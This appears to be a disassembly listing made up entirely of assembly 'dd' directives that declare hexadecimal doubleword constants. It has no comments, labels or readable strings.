dd 0B9CD28FAh, 8498AA4Eh, 55F39D34h, 82F6338Bh, 0F2A4B858h
dd 0F76AF101h, 3525742Dh, 15772384h, 0F5E5FCD8h, 7361147Bh
dd 21044114h, 2545DA4Ch, 229A9814h, 46610D58h, 495D73E0h
dd 0B14C2F19h, 4B5841FAh, 0B997EC83h, 0CB7334A7h, 67FD3888h
dd 0F0D07834h, 0B81387FAh, 332FD49Bh, 0C0BB58B1h, 25B907D0h
dd 0AE4F5318h, 5E559AB5h, 248124E4h, 7EA3AA3Ch, 5289088Ah
dd 4083ECF7h, 0CFAAE0E8h, 74CC8A01h, 0A2D2511h, 925C1B6Dh
dd 0DC5E34CAh, 89F2878h, 0FB81C6B5h, 3FBDA48h, 0C38B2273h
dd 9EC6C72Bh, 8E9A50B5h, 169FEF54h, 0AAC7D6E4h, 7DEC5B29h
dd 0C7AEDD08h, 8F3B0574h, 834A7783h, 8B01BCE8h, 124FC77Dh
dd 0DCAA6585h, 30496842h, 10EB140Ch, 2D08E212h, 5B75F28Ah
dd 327F69C5h, 87D0C0CDh, 0A95A8B27h, 6E744298h, 44A6B749h
dd 808C22FFh, 0BC6A50BDh, 0CE821283h, 0E559564Dh, 0BC925669h
dd 239EA728h, 27EBA2FCh, 17E4F1F7h, 0EA41C727h, 623FEE56h
dd 91AA63E4h, 0C5C88384h, 87F2766Ah, 0DAB5EC9h, 8A17250Ah
dd 62A9846Ah, 8A6EB445h, 30ECB8D9h, 2413757h, 14933249h
dd 4D64BEE8h, 0B5BED684h, 407DED37h, 900DDC0Bh, 56427638h
dd 1CDD0C80h, 0D0503524h, 1B904836h, 7C682B98h, 0D58F825Fh
dd 65AA6A49h, 0D3EEC0FCh, 5DCAE09h, 0EB74056Ah, 0B5BE0C85h
dd 6433FAF1h, 528E40A7h, 0AD60E178h, 7424D1F6h, 79565CEEh
dd 3FCEF9E8h, 9FE75569h, 5C442D3Eh, 0AA5F64D5h, 1C0A6ECBh
dd 3412BD89h, 0F186BE49h, 0AC43B613h, 8966021Fh, 71FF20B5h
dd 0EF1EA030h, 85280274h, 1C901127h, 74B3223Fh, 752505E6h
dd 3765DF12h, 33955691h, 0B4E868C4h, 0FE990C17h, 871DBC46h
dd 0DF222C9Ch, 0D3355916h, 65FBA1AFh, 0B5CA7F2Ch, 0ACC93384h
dd 7E0802ABh, 0DF158A10h, 300693D0h, 3B410114h, 0F07C2721h
dd 169B96FDh, 0E05ECC01h, 21B7C911h, 8BC19567h, 67915CCAh
dd 0FC65F238h, 324110D4h, 132AF8BFh, 3698ABBEh, 495D4F8Bh
dd 0F68D8DDAh, 0A8A56A22h, 297EE4EAh, 890D20CDh, 8FD3004h
dd 0CC0B121Eh, 0B4000B0h, 125589C2h, 0F016740Ch, 31BA6AAEh
dd 990659EAh, 0D285F9F7h, 6C60170h, 0C2EB462Ch, 3B65614Eh
dd 0F13BD680h, 8A080E72h, 408F880Eh, 8047EBEFh, 0C78B0220h
dd 6458F9D5h, 0BC72434h, 0EE480FCFh, 2108792Bh, 20180690h
dd 0B806170Fh, 0C3324EACh, 9006A8CAh, 6498C8A0h, 19883290h
dd 0C80C0980h, 3E8BB518h, 72A7C55Eh, 6F06410h, 4F808F4h
dd 0BFC4A1FCh, 0A01197CCh, 0C851F086h, 0E89EF808h, 0D0146925h
dd 672312Eh, 0E8E34359h, 4FC4AEDCh, 98A119BCh, 479A0901h
dd 78859A8Dh, 4EE2A9A1h, 0BB7D794Fh, 6C4E6F59h, 6EC4230Dh
dd 95F3A924h, 0F41EF032h, 0EA0D9D19h, 8E32FC04h, 0C8FF5325h
dd 10D96A5Ah, 0BC24EC9Ch, 0C2701C11h, 27382724h, 0BAABB8BFh
dd 8C5EBEB2h, 6854414Bh, 0F6BBEC2Bh, 50CF9E67h, 5A9CA0CDh
dd 85537B5Bh, 7F627DC9h, 68082915h, 0EB5BD0FFh, 0B0BE321Ah
dd 0BD6A16E5h, 4F3C5A59h, 0FE9D2DBBh, 0F3B3592h, 6A2391CCh
dd 0B52C9460h, 0DC245633h, 0A84E0510h, 0DC142066h, 41D42D66h
dd 5AD9EDEFh, 109CA33Ch, 7274DFFDh, 80230A19h, 6BE181A5h
dd 0AF814968h, 61967732h, 5324751Ch, 48503A68h, 0FC5368B2h
dd 4F97709Eh, 0D97EAD45h, 0EC802C32h, 8DDAE185h, 94EE9207h
dd 0E4C04336h, 167AA987h, 3B45F749h, 3A3DFB44h, 33532370h
dd 3E5AB7DBh, 1CB7C490h, 5E49C4F7h, 0EB8A1FFDh, 0E034E661h
dd 0B9FE04FAh, 270074Ch, 0A186C6D9h, 90EA570Fh, 0F81F3814h
dd 77BD98F7h, 0BB845E68h, 7C743638h, 0A049AF12h, 0C0A9051Eh
dd 0C065C38h, 5908749Bh, 0FDCC7525h, 8529DF9Ah, 9CC2FD5Ch
dd 44B47904h, 0F66472A7h, 2C98C438h, 96D08EECh, 2AE05FB5h
dd 0FB1FD2EBh, 0EC3D32E2h, 18A0877Ah, 7DC6DFAAh, 12845C21h
dd 2D252A64h, 7A67CA10h, 0CA645E87h, 0FD68103Ch, 0FEF164C8h
dd 4DE21005h, 5D9A24D0h, 61012738h, 0FF186F40h, 0D73C614Ch
dd 0B29ABED8h, 0FAAD6142h, 4E5C9DF6h, 0B29CF953h, 8B182A4Ch
dd 9A7504BEh, 0E76CDD25h, 0D684A02Dh, 3D8B501Eh, 0B629FAB7h
dd 0FEBC42D9h, 326945DFh, 1877D7D6h, 0BCC0BB92h, 717405FDh
dd 101D4FF6h, 0BD805422h, 2E19FA64h, 0E9121275h, 42523616h
dd 0A72E3C09h, 0C9996C39h, 1751B40Eh, 6253180Ah, 1CD4BE6Fh
dd 27E69F14h, 816F61F8h, 1CC8942Ch, 9156D37Ah, 0A5DC77EEh
dd 1F0D5C8Fh, 15C66F70h, 520BB845h, 0AE0AFD45h, 0D732AB97h
dd 436C7C4Fh, 0A8426862h, 0BEFA2187h, 9FED84AAh, 0B4217BBCh
dd 4C2879FAh, 86A55654h, 84EBB19Eh, 7EA08B1Ah, 29C5815h
dd 2576B99Fh, 0FF46640Ch, 9020B05Bh, 2F0D669Fh, 0A21419Eh
dd 200F74FCh, 82970243h, 18867838h, 567B3F64h, 2116A0E9h
dd 7D9E8B25h, 0F595E6h, 0D6586853h, 0D899FB2Ah, 0D207E86Fh
dd 57270D19h, 0D6254F7Fh, 30B206Ah, 4D483CA3h, 0CE11B86h
dd 0E4218C30h, 4A400885h, 3832C864h, 34ED1AAEh, 6467010Eh
dd 7ECCAD93h, 8904769h, 0D548358Ah, 19986625h, 403830BBh
dd 0B4F28857h, 5FD69E85h, 1F40DBBFh, 0EA99CF2h, 17BC7F0h
dd 47544851h, 8B072618h, 0EB1C660Ch, 58670F05h, 42C29FC3h
dd 1D8E3D83h, 579E4B13h, 644C1BC4h, 0F2408E4Fh, 18B178EAh
dd 4933EB28h, 6821448Ch, 90698BF9h, 0C2F798Fh, 0BB5D08ADh
dd 5DDCAC20h, 70C5D7CBh, 21246A9Ch, 99A8FC7Bh, 81B4448Ah
dd 6813EB5Bh, 162D5FA8h, 1AA1F633h, 16420838h, 6819CC4Fh
dd 0FF640CF3h, 0FD467E1Ah, 6D424E84h, 640EFF29h, 0B1A1424h
dd 55531982h, 5489865Fh, 0F2BB4FE5h, 65F84E6Eh, 1F301051h
dd 61448A50h, 448DE81Bh, 9748EE52h, 8FA49ADAh, 0D6E512D7h
dd 414C189Ah, 2EA0D9D4h, 4794288Bh, 1C434C8Dh, 2B107489h
dd 0A4305051h, 377E9850h, 0E832C11Ch, 0C2183504h, 0F8354354h
dd 0FF3B59DDh, 10560BF7h, 0F6006472h, 7505087Bh, 0ADA8506Ch
dd 2EE19115h, 0B4423729h, 44E9E173h, 253D40E2h, 6860478Bh
dd 6E20B849h, 878D257Dh, 0CEC28DB9h, 0C75D594Ah, 68341D84h
dd 6925978Bh, 0CD421838h, 0FCDAC383h, 0FB1C30Eh, 339C7609h
dd 0E4A4B475h, 5B495D4Dh, 0FDC32AACh, 7CCBC3EBh, 768120ABh
dd 8C59495Dh, 98110C7h, 0BF48BF1Ch, 1AB786B0h, 486D3EBEh
dd 1B439744h, 438B07E0h, 94E3E6A4h, 8C8818FBh, 2B20083Bh
dd 4D9DAD72h, 16E169DEh
dd 0E5E88265h, 0C890D39Dh, 0C29D648Bh, 137A5F14h, 0DC9DF079h
dd 0E4D5A776h, 0B44D999Ch, 67294EA4h, 483DB8B3h, 7C89257Bh
dd 0C89C15EAh, 62C86022h, 65F812A0h, 38B26DB9h, 1D327CB6h
dd 0CB51195Ch, 504D2605h, 0FDF005A3h, 3F59C97Fh, 0A190F0F1h
dd 92B38DF6h, 971C6AF0h, 708BDAFCh, 6B4F5618h, 0F027B1D7h
dd 4D133562h, 14D0FFD0h, 0B53BC823h, 0DE608C78h, 0D545F625h
dd 0D414C801h, 45CC5AB2h, 0A8D725F3h, 263443E8h, 57F4B5C1h
dd 0A1D34A4Ch, 0C414AA46h, 2A71C95Ch, 46E57CD2h, 6517481Dh
dd 2ED92D4Ch, 74190F40h, 83CC8410h, 347F4E2h, 0F83B98C1h
dd 49EBFE73h, 6E272FC8h, 87129159h, 0D9EB0D25h, 75526B62h
dd 0ECEC88AAh, 3066D3BDh, 878A1025h, 7C472C6Ch, 0E8D1020Ch
dd 897FE083h, 52B7A385h, 86C0211h, 3F6254A3h, 89B5B0C4h
dd 0D1086BD5h, 17E1840h, 38848D70h, 813F8A34h, 0A30C06C7h
dd 9089454Ch, 24F59B36h, 0F0F2D322h, 9F1A735Fh, 5BC64B5Fh
dd 4C928BDBh, 2A5451C4h, 6A9CF5A5h, 0A2A284CEh, 0FA104B75h
dd 18A14EB4h, 26BC5D8Bh, 0D85B3BC0h, 5083B0E4h, 923D21A4h
dd 0D843CBACh, 93B5FBDEh, 16747428h, 4558B78h, 8CE44D3Eh
dd 0FCF08973h, 3BD0231Ch, 36A7589h, 0B101ED72h, 6C245164h
dd 0E1A3DCD7h, 7021F012h, 56D26583h, 4256947Dh, 28C45C88h
dd 93566B8Ch, 0C986456Ch, 506B4CF3h, 0F6CF6C91h, 0A0C31ABFh
dd 6EBE838h, 23600997h, 9B5D0364h, 0A4059D3Bh, 40D46282h
dd 4AF5F7EFh, 812E33FAh, 89B4EF94h, 3306A186h, 911D89FCh
dd 22A31234h, 0E3E13833h, 1D13005h, 71AFF8BFh, 4C74B540h
dd 65FFF815h, 3F35897Bh, 0EF4AAEE8h, 2951DD4Eh, 0CE394AA1h
dd 8D571961h, 0C244980Ch, 0FAF5E97Fh, 25A808A4h, 4DA418F6h
dd 0DC5E1C8h, 81922C10h, 35FF51C9h, 0CBBF6645h, 0A0FA449Ch
dd 0AE125451h, 0A1AAE756h, 1140BF34h, 0E636F834h, 4AC4FAFBh
dd 57916286h, 51A61C39h, 0CDB9FAFCh, 44984D18h, 0EA933CD2h
dd 151CE889h, 978EAFA4h, 51F472A1h, 42BBEC95h, 5E87BF66h
dd 1436A6BEh, 0A3034089h, 892EA95Ah, 56CFAB21h, 0A8D0C1F8h
dd 82642643h, 0ECA4D2F0h, 0A0B8ECDFh, 0B5387688h, 4F0027D1h
dd 0D284118Ah, 0EE554C88h, 7980150Ch, 0F767532h, 0F820FA2Eh
dd 853FDF29h, 767EFF7Dh, 3E410A4Eh, 3918C0A6h, 0A9CE7206h
dd 0CFA11D32h, 0EE5394F2h, 0A0BFF8A5h, 0A518EB1Ch, 8714081Ah
dd 868B1879h, 9F0E81F4h, 860FF7D8h, 0D7E44648h, 0E24234B8h
dd 5EAD4CC8h, 2FF67A89h, 0C6F55255h, 0A159BF81h, 1002D749h
dd 454B5CBEh, 0FC7E83B0h, 187611B0h, 76173E70h, 76EE6A13h
dd 0DB9F9207h, 0C681820Fh, 52FE0210h, 9AB17C88h, 0F97590D4h
dd 12E44AD9h, 9DFFE8BEh, 0BA7E18EDh, 13049FD4h, 5A1A8E0h
dd 5B076AE4h, 77E80F92h, 4B516976h, 0B0EE3860h, 33E416FDh
dd 2642FEFFh, 0D5F73B0Ch, 2EB8A1FAh, 765C6C32h, 505C7DE0h
dd 564B695Ah, 10E9E87Bh, 4E3B4393h, 0EF7F84A7h, 93280400h
dd 9F5B3C43h, 0FBE07E30h, 0D2F694BDh, 4EA2EF1Bh, 630F10CAh
dd 70401C68h, 0F3BFFD28h, 7A1E4D39h, 0EF9FC1E6h, 57D27076h
dd 0B841D3F9h, 0BA3E4008h, 0B8EA9477h, 0F6695704h, 0D12F0F89h
dd 6264867Dh, 58BE1854h, 0F8B6FF0Dh, 54B34Ch, 3359A96Ah
dd 0C7483BDBh, 5B86240Ah, 3FFB8249h, 52CCDF01h, 0DFF8C4C2h
dd 14455FFFh, 0A9230E21h, 1EBF1932h, 8AC1CF53h, 22680F18h
dd 0F6C3568h, 386880EFh, 0C88E935Ah, 53291442h, 0E1FFCFCFh
dd 9185B614h, 23578AD2h, 8F67465Ah, 9510A111h, 0E3D63757h
dd 0BFC14AF5h, 10217C7Eh, 415A4278h, 848AC983h, 3C274105h
dd 0D11CED0Dh, 6018FD0Ah, 0A0200800h, 0C2D2FB0Fh, 0A1ABD587h
dd 0A484FDD0h, 5D3AEB25h, 3352E6C4h, 6105F4Bh, 84F54316h
dd 0C288766Bh, 57252977h, 0CB842113h, 74302A74h, 0E93B40FCh
dd 93756D41h, 7A6D2334h, 639E483Dh, 0AD4A8B8Ah, 55259C74h
dd 655F56B2h, 490D2E74h, 62263951h, 7EFC82B0h, 0B8EECA67h
dd 18390133h, 22050D74h, 3D4709AEh, 0EFBD9078h, 31FF0283h
dd 0F78B4A74h, 0C6B2AF6Ah, 0BB0C3ABh, 0EEC990B8h, 0C7B52A0Ch
dd 1383F24Eh, 4116D5C7h, 40505522h, 5A616811h, 0D029AE7Ch
dd 0A55E172Fh, 7C10D801h, 0E1DB9958h, 0C26B6A40h, 0C4C7D4BCh
dd 9EB1FDA7h, 0DC0684DBh, 0E7EFD80Dh, 82B05A9Ch, 221BAA19h
dd 0DD666A05h, 34FFC820h, 8A4D6895h, 0C31942F0h, 42C0B999h
dd 87271BF5h, 85276FEh, 74BD9AA4h, 0B6918798h, 0F1828B45h
dd 6C17C13h, 0D5C62B58h, 0EC417286h, 28D004CEh, 18D8528Bh
dd 0F84DDAC4h, 8DC829EDh, 0BF02FE60h, 32449A68h, 314137Eh
dd 0FBF30077h, 95097401h, 0BA9A5FD6h, 424E1EF9h, 89090C0h
dd 448A6885h, 0B0EF64C0h, 5CFCD341h, 0AB9F44E9h, 0E4921AEDh
dd 2EDA6A4Bh, 66121A42h, 4E58EBA9h, 0FF9FDD4Eh, 56DE55D0h
dd 17958AC9h, 0CF78352Eh, 0D7EC6565h, 6DDFB3CCh, 31DD59F1h
dd 3F861A71h, 0C532524Dh, 0BA21808Ah, 0B23F0388h, 21D86A70h
dd 9E415DEBh, 0A80C4D0Ch, 9F871E96h, 67F5D42Dh, 0F1DD49CEh
dd 27029054h, 0BE3C8121h, 0A74FFF43h, 0AA203067h, 468D70F9h
dd 79AD0352h, 2B2DCA85h, 5BF19128h, 507F8BB3h, 8537C1FAh
dd 0FA6DF0E4h, 1CEB8917h, 0B8426A36h, 2A41B180h, 58B788C8h
dd 5B462A18h, 0AFD490BBh, 8CB015DEh, 0E7E0EBA4h, 5B87A16Ah
dd 3B15C97Bh, 8839EF0Ah, 152828DDh, 8A1EEBD4h, 40CA4CBCh
dd 8CA28646h, 0F06E6C2h, 0FED1F78Dh, 137D0504h, 46D075CAh
dd 24086AC5h, 2F9B9515h, 29244943h, 0A8E53A1Ah, 0EB306D70h
dd 140E991Dh, 44AA8C22h, 0F4397D89h, 0DE7AA602h, 5C8DCADCh
dd 46847C65h, 0A0941E87h, 3923E139h, 937D1E30h, 6C98C510h
dd 0E6B7D53Eh, 0E7CB7C1h, 6B7F54C9h, 0DAB71114h, 0E958BFBBh
dd 14042B75h, 1D7EFF85h, 805E4FEh, 40CF8985h, 0B606874h
dd 12F73B46h, 0C032E37Ch, 0B0C35D69h, 0F8EB0118h, 4A10B871h
dd 816AA220h, 5748560Ch, 738E46Fh, 628C2DEFh, 0D5036AAEh
dd 0E2D346E6h, 2A78FF8h, 0F6294BB3h, 0E0A6BB53h, 0EFDA174Ah
dd 9FF01568h, 6FF7BEC9h, 0C0740DC1h, 274E1B28h, 62EF8963h
dd 0C72A5B2Ch, 0FDD2649Ch, 561122CFh, 8C4DBB97h, 0E83A57BCh
dd 9374100Ah, 17205623h, 0E0BEA544h, 0B139D620h, 51FC3A1Fh
dd 0EC42324Bh, 10863699h, 0C3F2BD80h, 7D750C33h, 68187E08h
dd 6494A5C0h, 687444C5h, 0BA41382Ah, 0FD74B703h, 75023620h
dd 6887A047h, 276BD1DCh, 7210C291h, 5E102F95h, 810C020Ch
dd 20DF2CFEh, 43C39D83h, 4F2064EBh, 0F6242FF0h, 798BC71Ch
dd 0BD5EDBD5h, 0E95BC38Ch, 0A693E83Bh, 1D4F0890h, 0BB6FE483h
dd 7692C6BBh, 17A21F39h, 0A4748771h, 2290AE6Ch, 0D6655402h
dd 0DB1A0F72h, 12DF2FDDh, 258B54BCh, 4106187Dh, 39C75C2Bh
dd 55E8B34Eh, 0A5537BD5h, 0CDA5C4BEh, 10C91178h, 688C7353h
dd 0F9A8126Bh, 0B8115050h, 2B54A051h, 8BC021EFh, 727EF2F7h
dd 7704E26Bh, 0CC278C71h, 7D02078h, 55565327h, 0F830EA98h
dd 6900D99Fh, 3A567AC1h, 0E6509DF7h, 5AF4B05Bh, 2FA4A27Dh
dd 0B53A8573h, 40FA2816h, 31148A9Ah, 0A18FA80h, 0D0A0574h
dd 91045175h, 3B4180F7h, 0EA7C06C8h, 3B57D233h, 75A12A4Ah
dd 3C804F87h, 19750332h, 1B37CB3h, 0A4CC030h, 5B810E74h
dd 294E9FBh, 0F890B7Dh
dd 7A7D043h, 7CD03B42h, 0CCE8FDCh, 17745F02h, 8B1A80B2h
dd 84DB9D92h, 0E491EDA0h, 8826125h, 14854E6Ch, 454014B9h
dd 8DABF305h, 81851C78h, 8B531F7Ch, 103B82DFh, 9006048Ah
dd 3FB575B9h, 4CBF4659h, 1C891882h, 0D7404B81h, 5B5BE57Eh
dd 96053F17h, 98C0424h, 613C07ECh, 510B7C59h, 0A0077F7Ah
dd 0E809D928h, 0DF33C360h, 100CE718h, 575172B4h, 5329EB2Bh
dd 0FC7DB03Bh, 9CC8D994h, 0F1EFF409h, 3F2B3758h, 795A7871h
dd 8B4E0402h, 7E9D40FEh, 0D0CC927Ah, 0C49A7F9Eh, 7BACC189h
dd 9F8C071Fh, 0DEA59255h, 46A02052h, 553F7C1Fh, 4F84AAF4h
dd 2BCA8DA0h, 1E32CE48h, 0C107027Eh, 7D83F803h, 0A2C93FCh
dd 0FF728D95h, 0B0D0594Dh, 55897019h, 0CC4DA4F8h, 0C1524D64h
dd 4FB07502h, 8E86EB4Eh, 0D7058CBBh, 0AAC75B03h, 81018B2Ch
dd 53A36F56h, 2DAA1C4Bh, 685036C6h, 2BED5016h, 329C3FFCh
dd 83C41210h, 42716414h, 88AC01Fh, 301FF980h, 90A057Fh
dd 405E0375h, 7148A388h, 1419A38Dh, 1D0C72D0h, 0EB742E08h
dd 0E67C2105h, 0EA832F24h, 54B1DABEh, 940462A2h, 6F1D5639h
dd 92D7C4F8h, 995FA491h, 0D22B2A72h, 64C6C426h, 1CF229A3h
dd 6C9A38DCh, 73DAD5F5h, 0C13686Ch, 2222B128h, 248AABC3h
dd 287E5508h, 30BF0BD9h, 86D24316h, 38E01528h, 0EE3BE805h
dd 11A16474h, 6A32C82Bh, 0D806046Bh, 43785181h, 16B789A4h
dd 328D1C1Fh, 0C0767455h, 53137CCAh, 506E5BE6h, 4CC868E5h
dd 303A55F2h, 210FC5D0h, 59E0C9C9h, 57817170h, 37E0292Bh
dd 11C8414h, 0BF91EA25h, 8C2AE485h, 25D80420h, 0B99418DCh
dd 0A390928Bh, 0D9732709h, 62842FBCh, 2A12B803h, 61D248F8h
dd 0D6B250FCh, 12E65175h, 6A44B14Ch, 0F0CF58FCh, 1480F319h
dd 8F1DB382h, 6AD3A779h, 0ABB7F0Dh, 4A3402A8h, 0D66A4B40h
dd 16940659h, 52E9E636h, 6069F37Ch, 1318E6F5h, 0F2942868h
dd 51C9F64h, 66A0431h, 52144692h, 26E2BB2Fh, 6410C646h
dd 4EBA5E07h, 0EB3590DDh, 0AE0F7417h, 49757AC8h, 0DB66AE07h
dd 0A5280D59h, 9C59B183h, 921D4973h, 433FF2ABh, 0A00E6212h
dd 986801FDh, 0A6AC6B94h, 0BC1412F4h, 11BCD217h, 0A600BAF4h
dd 0C860FFEh, 22118201h, 68444850h, 0D23D5453h, 1943EAF8h
dd 12332D5Eh, 9A57570Eh, 0BD8D947Dh, 8CCF2571h, 95A81844h
dd 0D526B647h, 75E77D1Fh, 0A411B866h, 0BC5EFFFEh, 0FDB42D30h
dd 0D4ED91AEh, 4A55C22Dh, 257B4BBDh, 33D7508Dh, 0BA52EC54h
dd 0D27EF1CDh, 129212D2h, 29071B7Fh, 48249C2Eh, 0F3CF1BBh
dd 0BA291035h, 0B04355E3h, 0EB846E65h, 68256CDAh, 948FAF4Ah
dd 0AD902734h, 9672B95Eh, 2057CAFFh, 0DED79002h, 3AF52DA8h
dd 319E77F2h, 0F9DF1082h, 0BF504567h, 7C2251E6h, 55750212h
dd 14B1E4BEh, 26542AC9h, 593B57DCh, 2F8C5764h, 0FC516831h
dd 0A85004A4h, 9257A263h, 5414DC0Dh, 38EB2017h, 0D4DA73AFh
dd 0CB52677Eh, 0A4687D28h, 2BF43A1Bh, 92C35F1Ch, 0AB7451C0h
dd 421D6ADh, 0A97A2D75h, 250D8BB6h, 27BB394Fh, 7E19B6EEh
dd 0A751684h, 63AA095Eh, 3F4B05EEh, 48681890h, 0B74BFD0h
dd 0F5EEF0E5h, 0C4385261h, 0D7326A22h, 0DECB0572h, 0DD4DB40h
dd 5926D4D0h, 289D14A5h, 59FF0811h, 241114B2h, 0B70C490Fh
dd 0FD46CBDDh, 4346CEBAh, 2ED44E4Bh, 0AB3CD40Bh, 9D945837h
dd 512F411Eh, 5C955756h, 5DFE0B25h, 0DB0CD0C8h, 52970CD6h
dd 0D84DDA83h, 0B4E00DDCh, 0F02BE293h, 6A95EBE6h, 1395517Ch
dd 4AE8F010h, 40348D18h, 61E6C1C8h, 20B6D302h, 50A82B95h
dd 56887CC4h, 0FC867F85h, 6810E92Ah, 0AC29630h, 7CBA40BEh
dd 85D12DE2h, 29042D45h, 2E82A7Dh, 3D616958h, 0DD8DE0EBh
dd 0E0235540h, 34A118FEh, 2F0AA3E0h, 5EF40C9Ah, 9776F12h
dd 415F53A8h, 0FC13F19h, 0C82B222Bh, 7531B075h, 0C302960Ah
dd 0C5DCEBD8h, 0C584BB9Dh, 5E3400F5h, 22B84FB0h, 2096F3EBh
dd 45454D5Bh, 0CF1901F8h, 17D4030Ah, 0E37617Eh, 3B327F06h
dd 59517FE2h, 131C1553h, 6616EBA5h, 0B8711F84h, 970C568Ah
dd 0CAB4A820h, 27CC4808h, 5739CACCh, 0BA5E4407h, 1C6281D5h
dd 82B474B9h, 870FC13Bh, 5DAF33D4h, 0FBF3EA9Bh, 5A772201h
dd 0C88B4E74h, 0EA8EE9EDh, 1933493Dh, 9F2206CEh, 13195118h
dd 0BB3A240Ah, 0C068A420h, 7090BD9Ah, 36B0477Eh, 7C420A8Eh
dd 1C5948C8h, 99C8110Bh, 0BA81B0D9h, 74C60C11h, 0DE1BAE25h
dd 0A664FB06h, 99B0219Ch, 1580310Ah, 24DD7DEBh, 0C1760742h
dd 6F129814h, 70F0EC2h, 305BB9A5h, 746D77B1h, 888D580Bh
dd 0C2A3D5DEh, 60E811F9h, 890EB60Fh, 1F418E96h, 6E8D2486h
dd 689820Fh, 81803D2Bh, 9C203607h, 2F0FCA97h, 7E0720B2h
dd 2E984228h, 7204021h, 10421A7Eh, 0B411133Fh, 210C3F96h
dd 91051F90h, 0B3844070h, 0AB964D70h, 993042CDh, 0AA14A74Ch
dd 0DB850E5h, 0DF1866C3h, 3444091Fh, 1203893Bh, 48262411h
dd 220A912Dh, 1D09E055h, 3A030201h, 50604B1h, 7089906h
dd 0B7630806h, 0BF038C12h, 24263D99h, 2689B14Bh, 45146227h
dd 13DC5FF4h, 0FDE99B96h, 94A6EAF5h, 0C9E8B85Fh, 8A2C4B74h
dd 0A6412901h, 9226A30h, 46FC4C94h, 0EA3D1211h, 0B485D921h
dd 1E6AEC14h, 8ECCFC5Dh, 358D17A0h, 0FA7378B5h, 74489BC0h
dd 3906C843h, 25202F10h, 81111B40h, 9BBF2007h, 3C9D3291h
dd 0A1309FE1h, 9FA1249Fh, 0C9FA118h, 867EB8A1h, 4FE6F449h
dd 0AD2E59B1h, 4FBADEDAh, 0FC762AC1h, 26D6A149h, 0F4B73EE8h
dd 0FC7458D6h, 4728E385h, 6824C6A1h, 8C0F0D62h, 0FD7F3D66h
dd 0DF123CBCh, 0B44840B6h, 3BFDC292h, 5B5EF682h, 50BE3E72h
dd 0B8D07D5Ah, 0CA828A70h, 5D75620Dh, 48EFA82Fh, 0FC575D44h
dd 0B8818467h, 834DB990h, 0F1105C7Dh, 246A3909h, 2BC77A79h
dd 8D58AAEFh, 58AC8942h, 76043EE1h, 0B63CBE8Bh, 0C421C81Ch
dd 0EB14C19Bh, 32A75452h, 0A1540C4Eh, 32C6EA4Fh, 0A8081C71h
dd 1629AC87h, 1FB05120h, 54462159h, 18EB8421h, 9CC35D1Ch
dd 0F5D8A5F6h, 2004752Dh, 57555354h, 8B02C256h, 427A883Dh
dd 0BBFF6A13h, 3C93EB89h, 1191F28h, 3C05F6D7h, 19A80B8h
dd 1675E88Bh, 0B0D5580h, 0FDE95D47h, 0A3176166h, 0A45CB5DCh
dd 35FF5545h, 3172091Ah, 0F40A134h, 0BB5B5D5Fh, 98209784h
dd 77458130h, 0A157F61h, 0B891109h, 0A2C266A4h, 0D6E52916h
dd 4A7F11D8h, 90653788h, 2D4DE847h, 88C9FFF0h, 80299925h
dd 3455E454h, 0A1E81156h, 9ADFFC8Bh, 6AEEA252h, 0C851E902h
dd 2886A214h, 0CE81D06Ch, 2A9423Bh, 0AF57DF89h, 571A316Ch
dd 0FFC4850h, 6B900116h, 2B448DF8h, 0ACBA023Fh, 53570A91h
dd 2ECAAD19h, 2FF7F9D5h, 819C3857h, 16B58577h, 4C4BAFFDh
dd 5ECBA0AFh, 52D75EB5h, 141504F1h, 35495122h, 0AEA4FF2Ah
dd 0B4BAF425h, 6816F03Ch, 347C9C38h, 27A3B418h, 9A14ABB1h
dd 60F6FC09h, 0E101F6D0h, 18DBCC7Fh, 0D8859594h, 0E9C1DE3Bh
dd 2C62FB81h, 53353878h, 0FAA51ECCh, 2482D125h, 591E779Ch
dd 165E8796h, 0A06DEB24h, 7D0B39FDh, 0F45C7214h, 8D70946Dh
dd 0B4107619h, 0DDC92FBCh, 7F8F0CD5h, 88D0575h, 32520D8Dh
dd 604311Ch, 9BF568ECh, 5B901866h, 17B02CBCh, 3B621B98h
dd 8BAC76B4h, 0D28D9EAh, 19ACBA64h, 24FB20AAh, 267463D5h
dd 3B3E53DEh, 2DE6CB94h
dd 865FE95Eh, 583EDF3Bh, 2BA01A92h, 264E74C7h, 3BF1BAA5h
dd 0A327842Eh, 79884A2Eh, 20434184h, 0CA422E6h, 173064EFh
dd 847A3941h, 138511DBh, 45C88313h, 9403EBB1h, 4D09EB30h
dd 53FAA020h, 87B840BEh, 0D19CC808h, 0D1546348h, 4418C828h
dd 0B3143C98h, 0B8400822h, 8F9C70D8h, 0BC2410A4h, 6FC924C4h
dd 21F5C022h, 37DC45EDh, 400C2097h, 12BDECE0h, 7A488BF9h
dd 0E9584EC9h, 0DC08674Eh, 2F575043h, 64DEE838h, 3B42044Dh
dd 91AB6CACh, 6844FA6Ah, 4899C43h, 56723155h, 2C467E4Eh
dd 506A6040h, 2F2C320Bh, 97EC4CBAh, 3426DECh, 9152FC25h
dd 5C179D69h, 0EE3016BCh, 42804BCCh, 2E8F949Eh, 1412B718h
dd 0B1B1A412h, 0A2561C08h, 1E9BDDA3h, 0A02755Ah, 9B0C70FFh
dd 0F2DCC34h, 0E408C82Bh, 4882B5Ch, 9D2A50E4h, 42104089h
dd 8F0A5348h, 3BB180B8h, 9E409113h, 38280C3Fh, 7ECB9007h
dd 51898630h, 0A27C4A1Ch, 4A0C3914h, 381CA22Bh, 5B859DF8h
dd 15E8729Ch, 0D47218C4h, 722CC415h, 30C415BCh, 0C415A472h
dd 15947224h, 847228C4h, 7734C415h, 3C115798h, 11575CC8h
dd 7948C838h, 1E144956h, 944C232Bh, 23AA5634h, 2BD2BD40h
dd 468E44A8h, 951E60Ch, 2CEB5B5Fh, 0E8218494h, 96116E9Ch
dd 8A9E453h, 0B274BC5Eh, 925A7D20h, 4229094Ah, 0FE7D8565h
dd 516618C9h, 145B5FBAh, 0E23114CDh, 0EC45C9FFh, 2599512Ch
dd 10542DE8h, 10649EFCh, 0F757B2F8h, 79567AE8h, 73227725h
dd 98D7B934h, 2574F4A9h, 55993D3Ch, 0F316C650h, 9E43D808h
dd 0B68811D8h, 5C565596h, 0FC252B7Bh, 0F384B9C1h, 0CB84855Eh
dd 69768D06h, 2974731Eh, 964437FFh, 2516DD0h, 2015FB45h
dd 4C73FF8h, 43F84500h, 72145D3Bh, 2AEBC314h, 7DA4CA39h
dd 853389D8h, 7B421C45h, 4C570C74h, 54D6952Fh, 4B56F82Fh
dd 47732F4h, 8E073B2Ch, 1944E297h, 880A8C58h, 205F548Bh
